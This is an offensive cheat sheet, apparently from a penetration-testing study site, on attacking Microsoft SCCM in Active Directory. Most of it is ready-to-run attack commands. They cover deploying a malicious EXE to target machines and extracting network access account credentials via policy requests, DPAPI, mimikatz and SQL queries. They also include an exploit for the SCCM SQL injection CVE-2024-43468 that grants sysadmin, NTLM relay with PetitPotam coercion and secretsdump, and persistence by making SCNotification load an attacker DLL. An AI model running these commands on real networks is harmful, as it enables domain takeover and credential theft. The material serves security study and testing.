// Internal · Active Directory

Deployment - SCCM

Deployment - SCCM

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

SCCM Application Deployment

Application Deployment is a process that involves packaging software applications and distributing them to selected computers or devices within an organization

Tools:

Exploitation:

  • Using SharpSCCM

    .\SharpSCCM.exe get devices --server <SERVER8NAME> --site-code <SITE_CODE>
.\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
.\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debug

  • Compromise client, use locate to find management server

    MalSCCM.exe locate

  • Enumerate over WMI as an administrator of the Distribution Point

    MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups

  • Compromise management server, use locate to find primary server

  • Use inspect on primary server to view who you can target

    MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers
MalSCCM.exe inspect /primaryusers
MalSCCM.exe inspect /groups

  • Create a new device group for the machines you want to laterally move too

    MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
MalSCCM.exe inspect /groups

  • Add your targets into the new group

    MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL

  • Create an application pointing to a malicious EXE on a world readable share : SCCMContentLib$

    MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
MalSCCM.exe inspect /applications

  • Deploy the application to the target group

    MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
MalSCCM.exe inspect /deployments

  • Force the target group to checkin for updates

    MalSCCM.exe checkin /groupname:TargetGroup

  • Cleanup the application, deployment and group

    MalSCCM.exe app /cleanup /name:demoapp
MalSCCM.exe group /delete /groupname:TargetGroup

SCCM Enumeration

  • garrettfoster13/sccmhunter - SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain.

    sccmhunter.py find -u user -p P@ssw0rd -dc-ip 10.10.10.10 -d lab.lan
sccmhunter.py show -siteservers

SCCM Shares

Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares

  • 1njected/CMLoot

    Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi

  • synacktiv/SCCMSecrets

    SCCMSecrets.py files --distribution-point 'sccm.lab.local/' --username 'username' --password 'P@ssw0rd'

SCCM Configuration Manager

CRED-1 Retrieve credentials via PXE boot media

Requirements:

  • On the SCCM Distribution Point: HKLM\Software\Microsoft\SMS\DP\PxeInstalled = 1
  • On the SCCM Distribution Point: HKLM\Software\Microsoft\SMS\DP\IsPxe = 1
  • PXE-enabled distribution point

Exploitation:

CRED-2 Request a policy containing credentials

Requirements:

  • PKI certificates are not required for client authentication
  • Domain accounts credential

Exploitation:

Create a machine or compromise an existing one, then request policies such as NAAConfig

Easy mode using SharpSCCM

addcomputer.py -computer-name 'attacker$' -computer-pass P@ssw0rd -dc-ip 10.10.10.10 lab.lan/user:'P@ssw0rd'
SharpSCCM.exe get naa -r newdevice -u attacker$ -p P@ssw0rd
SharpSCCM get naa
SharpSCCM get secrets -u <username-machine-$> -p <password>

Stealthy mode by creating a computer.

  • Create a machine account with a specific password: addcomputer.py -computer-name 'customsccm$' -computer-pass 'YourStrongPassword123*' 'sccm.lab/carol:SCCMftw' -dc-ip 192.168.33.10
  • In your /etc/hosts file, add an entry for the MECM server: 192.168.33.11 MECM MECM.SCCM.LAB
  • Use sccmwtf to request a policy: python3 sccmwtf.py fake fakepc.sccm.lab MECM 'SCCMLAB\customsccm$' 'YourStrongPassword123*'
  • Parse the policy to extract the credentials and decrypt them using sccmwtf/policysecretunobfuscate.py: cat /tmp/naapolicy.xml |grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 |grep -e 'CDATA' | cut -d '[' -f 3|cut -d ']' -f 1| xargs -I {} python3 policysecretunobfuscate.py {}

CRED-3 Extract currently deployed credentials stored as DPAPI blobs

Dump currently deployed secrets via WMI. If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.

Requirements:

  • Local administrator privileges on an SCCM client

Exploitation:

  • Find SCCM blob

    Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
NetworkAccessUsername : <![CDATA[E600000001...00F92]]>

  • Using GhostPack/SharpDPAPI

    $str = "060...F2DAF"
$bytes = for($i=0; $i -lt $str.Length; $i++) {[byte]::Parse($str.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber); $i++}
$b64 = [Convert]::ToBase64String($bytes[4..$bytes.Length])
.\SharpDPAPI.exe blob /target:$b64 /mkfile:masterkeys.txt

  • Using Mayyhem/SharpSCCM for SCCM retrieval and decryption

    .\SharpSCCM.exe local secrets -m wmi

From a remote machine.

  • Using garrettfoster13/sccmhunter

    python3 ./sccmhunter.py http -u "administrator" -p "P@ssw0rd" -d internal.lab -dc-ip 10.10.10.10. -auto

CRED-4 Extract legacy credentials stored as DPAPI blobs

Requirements:

  • Local administrator privileges on an SCCM client

Exploitation:

  • Search the database using SharpDPAPI

    .\SharpDPAPI.exe search /type:file /path:C:\Windows\System32\wbem\Repository\OBJECTS.DATA

  • Search the database using SharpSCCM

    .\SharpSCCM.exe local secrets -m disk

  • Check ACL for the CIM repository located at C:\Windows\System32\wbem\Repository\OBJECTS.DATA:

    Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
ConvertFrom-SddlString ""

CRED-5 Extract the SC_UserAccount table from the site database

Requirements:

  • Site database access
  • Primary site server access
    • Access to the private key used for encryption

Exploitation:

  • gentilkiwi/mimikatz

    mimikatz # misc::sccm /connectionstring:"DRIVER={SQL Server};Trusted=true;DATABASE=ConfigMgr_CHQ;SERVER=CM1;"

  • skahwah/SQLRecon, only if the site server and database are hosted on the same system

    SQLRecon.exe /auth:WinToken /host:CM1 /database:ConfigMgr_CHQ /module:sDecryptCredentials

  • SQLRecon + xpn/sccmdecryptpoc.cs

    SQLRecon.exe /auth:WinToken /host:<SITE-DB> /database:CM_<SITECODE> /module:query /command:"SELECT * FROM SC_UserAccount"
sccmdecryptpoc.exe 0C010000080[...]5D6F0

Unauthenticated SQL Injection - CVE-2024-43468

  • synacktiv/CVE-2024-43468 - Microsoft Configuration Manager (ConfigMgr / SCCM) 2403 Unauthenticated SQL injections (CVE-2024-43468) exploit
$ CVE-2024-43468.py -t cmc.corp.local -sql "create login [CORP\user1] from windows ; exec master.dbo.sp_addsrvrolemember [CORP\user1], 'sysadmin'"
$ mssqlclient.py -debug -windows-auth 'CORP/user1:xxx'@cmc-db.corp.local
SQL> select name from sysdatabases where name like 'CM_%'

SCCM Relay

TAKEOVER1 - Low Privileges to Database Administrator - MSSQL relay

Requirements:

  • Database separated from the site server
  • Server site is sysadmin of the database

Exploitation:

  • Generate the query to elevate our user:

    python3 sccmhunter.py mssql -u carol -p SCCMftw -d sccm.lab -dc-ip 192.168.33.10 -debug -tu carol -sc P01 -stacked

  • Setup a relay with the generated query:

    ntlmrelayx.py -smb2support -ts -t mssql://192.168.33.12 -q "USE CM_P01; INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x01050000000000051500000058ED3FD3BF25B04EDE28E7B85A040000,'SCCMLAB\carol',0,0,'','','','','P01');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00ALL','29');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00001','1'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00004','1');"

  • Coerce an authentication to your listener using a domain account:

    petitpotam.py -d sccm.lab -u carol -p SCCMftw 192.168.33.1 192.168.33.11

  • Finally, connect as admin on the MSSQL server:

    python3 sccmhunter.py admin -u carol@sccm.lab -p 'SCCMftw' -ip 192.168.33.11

TAKEOVER2 - Low Privileges to MECM Admin Account - SMB relay

Microsoft requires the site server’s computer account to be an administrator on the MSSQL server.

Exploitation:

  • Start a listener for the MSSQL Server: ntlmrelayx -t 192.168.33.12 -smb2support -socks

  • Coerce an authentication from the Site Server using domain credentials (low privileges SCCM NAA retrieved on the same machine works great): petitpotam.py -d sccm.lab -u sccm-naa -p 123456789 192.168.33.1 192.168.33.11

  • Finally use the SOCKS from ntlmrelayx to access the MSSQL server as a local administrator

    proxychains -q smbexec.py -no-pass SCCMLAB/'MECM$'@192.168.33.12 
proxychains -q secretsdump.py -no-pass SCCMLAB/'MECM$'@192.168.33.12

ELEVATE 2 - NTLM Relay with Automatic Client Push Authentication

Requirements:

  • Automatic site-wide client push installation enabled
  • Automatic site device approval
  • Fallback authentication to NTLM

Exploitation:

SharpSCCM.exe invoke client-push -t 192.168.1.50
ntlmrelayx.py -t mssql01.lab.lan -smb2support

SCCM Persistence

  • mandiant/CcmPwn - lateral movement script that leverages the CcmExec service to remotely hijack user sessions.

CcmExec is a service native to SCCM Windows clients that is executed on every interactive session. This technique requires Adminsitrator privileges on the targeted machine.

  • Backdoor the SCNotification.exe.config to load your DLL

    python3 ccmpwn.py domain/user:password@workstation.domain.local exec -dll evil.dll -config exploit.config

  • Malicious config to force SCNotification.exe to load a file from an attacker-controlled file share

    python3 ccmpwn.py domain/user:password@workstation.domain.local coerce -computer 10.10.10.10

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.